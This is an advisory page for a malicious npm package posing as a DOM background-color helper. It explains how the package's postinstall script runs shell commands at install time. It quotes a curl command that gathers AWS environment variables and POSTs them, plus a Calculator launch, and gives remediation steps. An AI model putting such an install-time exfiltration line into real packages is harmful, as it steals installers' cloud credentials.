MalwarePublished 5 Aug 2026Updated 6 Aug 2026

@cy4dev/cydemo-bg-color (npm) · Malicious Code

Affects @cy4dev/cydemo-bg-colorSource GCVE Database

Malicious package : remove @cy4dev/cydemo-bg-color and rotate any secrets on hosts that installed it.

Data as of 7 Aug 2026, 05:56 UTC

Classification

Malicious package

Published to npm · OSV MAL-2026-12504

What to do

Remove @cy4dev/cydemo-bg-color from every project, lockfile and image that pulls it in. Treat any host that installed it as compromised: rotate the credentials, tokens and keys it could read, from a clean machine.

Affected software

Product	Affected	Fixed in
npm@cy4dev/cydemo-bg-color	Affected =5.0.0 =7.0.0	Fixed in–

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Description

--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (5e0e5eedb2c2a44513fd808788f02499f57e3c2877c4c69d8a84b0d4038d7fe0) @cy4dev/cydemo-bg-color@7.0.0 ships a postinstall lifecycle script (src/postinstall.js) that runs at `npm install` time and invokes node:child_process.exec with two shell commands. The first, `curl -X POST -d \`env | grep AWS\` http://localhost:8000`, enumerates AWS_*-prefixed environment variables from the installer's shell and POSTs them as the request body — a functioning credential-exfiltration primitive against the installer's environment. The second, `open /System/Applications/Calculator.app`, launches a GUI application on macOS, demonstrating arbitrary host-shell execution triggered solely by installing the package. The package advertises itself as a DOM background-color helper; the postinstall behavior has no build or runtime purpose consistent with that description. The exfiltration destination in this build is loopback (localhost:8000), so the AWS credentials do not leave the host in this specific version, but the credential-scrape and arbitrary-exec code paths execute unconditionally on every install.

Impact

This vulnerability allows arbitrary code execution on the host system during package installation, potentially leading to credential exposure and unauthorized actions. Although the current exfiltration endpoint is localhost, the mechanism could be modified to send credentials externally. The execution of arbitrary shell commands can compromise the host environment, especially if AWS credentials are exposed, enabling further attacks or unauthorized cloud resource access.

Defensive guidance

Users should avoid installing versions 5.0.0 and 7.0.0 of @cy4dev/cydemo-bg-color. It is recommended to remove these versions from any projects and replace them with trusted alternatives. Monitor for updates from the package maintainer or npm advisories for remediation guidance. Since the package is not a cloud service, remediation depends on user action.

Summary

@cy4dev/cydemo-bg-color versions 5.0.0 and 7.0.0 contain a malicious postinstall lifecycle script that runs automatically during npm install. This script uses node:child_process.exec to run two shell commands: one that collects AWS environment variables and POSTs them to http://localhost:8000, and another that opens the Calculator app on macOS. The credential exfiltration is limited to localhost in this version, but the presence of arbitrary shell command execution during package installation represents a significant security risk. The package falsely advertises itself as a DOM background-color helper, with no legitimate reason for these actions.

References

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What to do

Affected software

Description

AI analysisMachine-generated, updated 5 Aug 2026, 15:43 UTC

Technical details

References

Community reviews